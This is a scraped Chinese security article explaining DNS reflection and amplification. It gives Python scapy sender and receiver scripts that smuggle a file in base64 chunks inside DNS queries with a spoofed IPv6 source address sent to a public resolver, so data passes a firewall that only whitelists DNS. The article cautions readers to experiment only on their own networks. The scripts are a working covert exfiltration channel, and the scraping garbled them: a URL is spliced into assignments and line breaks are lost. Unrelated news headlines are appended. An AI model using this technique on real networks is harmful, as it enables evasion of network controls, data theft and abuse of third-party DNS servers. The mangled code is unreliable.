利用DNS反射绕过防火墙进行通信 _DNS

文章插图

【利用DNS反射绕过防火墙进行通信】域名系统（Domain Name System）几乎和互联网一样古老。它的特殊结构也使它早就成为黑客的利用对象。在这篇短文中，我将详细描述DNS反射的原理，为什么黑客喜欢使用它，以及你为什么要用它。
让我们想象一个网络场景，某道防火墙仅允许内网和linux软件安装包存储库以及DNS服务器进行通信。这意味着从攻击者的计算机发送的数据包到达不了受害者的服务器，反之亦然。为了突破防御，我们需要“篡改”IP包的源地址，让防火墙认为这个数据包是由白名单中的IP发出的。
为什么黑客通常会使用DNS服务器进行反射（DDoS攻击）？主要原因是DNS回复流量远远大于对应的请求流量，这样就可以放大黑客的DoS流量，增强攻击的破坏力；而另一个原因则是DNS请求使用的是非面向连接的UDP协议。因此，现在有不少管理员都在防火墙上配置阻断DNS流量。

文章插图

为什么你也需要使用DNS反射？假设你想与上图中的服务器通信，能相互交流（例如一个远程shell）。有一个很容易而且很常见的方法就是创建自己的DNS服务器，然后通过虚假的DNS查询进行通信。这的确是一个很好的方法，但我想向你展示一种无需设置任何额外的服务器而进行通信的方法，只需要利用IPv6即可，它的直连特性（不存在NAT）极大帮助了我们。
以下两端Python示例代码可把一个文件发送到另一个台电脑中，且无需两台机器能够互相通信。主要通过把文件拆分成60字节的数据块（单个域名的最大长度域），再辅以DNS反射技术实现的。
请在完全属于你的网络环境中进行以下实验，不要去攻击任何DNS服务器。Sender code:
#!/usr/bin/python3from kamene.all import *import base64,time,sys dnsaddr = "2620:119:35::35" # OpenDNS as an examplesend_delay = 0.8def send_packet(ip,packet_data): encoded_message = base64.b64encode(packet_data.encode('ascii'))+b'-' encoded_message_size = len(encoded_message) for i in range(0,encoded_message_size,60): data = https://www.isolves.com/it/wl/js/2019-08-16/encoded_message[i:i+60] DNSpacket = IPv6(dst=dnsaddr,src=ip)/UDP(sport=RandShort())/DNS(id=1337,rd=0,z=0,tc=1,qd=DNSQR(qname=data,qtype="A",qclass="IN")) send(DNSpacket,verbose=0) time.sleep(send_delay)if len(sys.argv)<3: print(f'{sys.argv[0]}receiver_ipv6_addr data_file') sys.exit()send_packet(sys.argv[1],open(sys.argv[2]).read())Receiver code:
#!/usr/bin/python3import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR)from kamene.all import *import base64,sys def receive_packet(listen_iface): data = https://www.isolves.com/it/wl/js/2019-08-16/bytearray() while not b'-' in data : DNSPacket = sniff(iface=listen_iface,filter="src port 53",count=1) if(DNSPacket[0].haslayer(DNS))and(DNSPacket[0].getlayer(DNS).id==1337): data += (DNSPacket[0].getlayer(DNS).qd.qname[:-1]) print(base64.b64decode(data[:-1]).decode('ascii'),end='')if len(sys.argv)<2: print(f'{sys.argv[0]}listen_interface') sys.exit()receive_packet(sys.argv[1])引用
https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/
https://kamene.readthedocs.io/en/latest/introduction.html#about-scapy
本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场
来源：https://nosec.org/home/detail/2868.html

利用DNS反射绕过防火墙进行通信

推荐阅读

隔离带■为什么很多人都不愿意走最左侧车道？老司机：被坑太多

北青网|皮奥利：已经开始展望与尤文的比赛了，米兰一定要冲进欧战

为啥我走在大街上别人会看我

中金网北京西城二手房成交井喷，买的卖的都着急

瑞丽市召开新冠肺炎疫情防控工作安排部署会：严防死守边境线，杜绝非法偷越国（边）境事件发生

姚明|真给姚明丢人，CBA再现重大漏判！球迷：近视1000度都看见踩线了

IT之家|三星Galaxy Tab S7平板电脑屏幕尺寸多少有两种大小

大一新生军训有感军训心得体会300字

运势|郭晶晶祖孙三代被偶遇，豪门公爹帮忙带娃，她职场打扮似女强人

第一财经独家对话ESO荣誉天文学家巴德：“黑洞”获诺奖将推动天文观测设施投资

冬瓜|到了中年后，为什么很多女人都“剪短发”？看这三点你就明白了

铁观音介绍,铁观音的味道介绍

12岁的妹妹被鬼故事吓到不敢睡觉，该怎样安慰

年年过年，可你知道古人是怎么过年的吗？

输青霉素能喝酒吗

什么能淡化红血丝？

的生产|中国南水北调集团有限公司成立注册资本1500亿

『峰义』不可深交，以免被他算计，这四种人城府太深

朋友得了晚期肺癌，看到古巴肺癌疫苗很好，国内有吗

上观|新港新片区特殊支持政策落地首批覆盖49项职业工种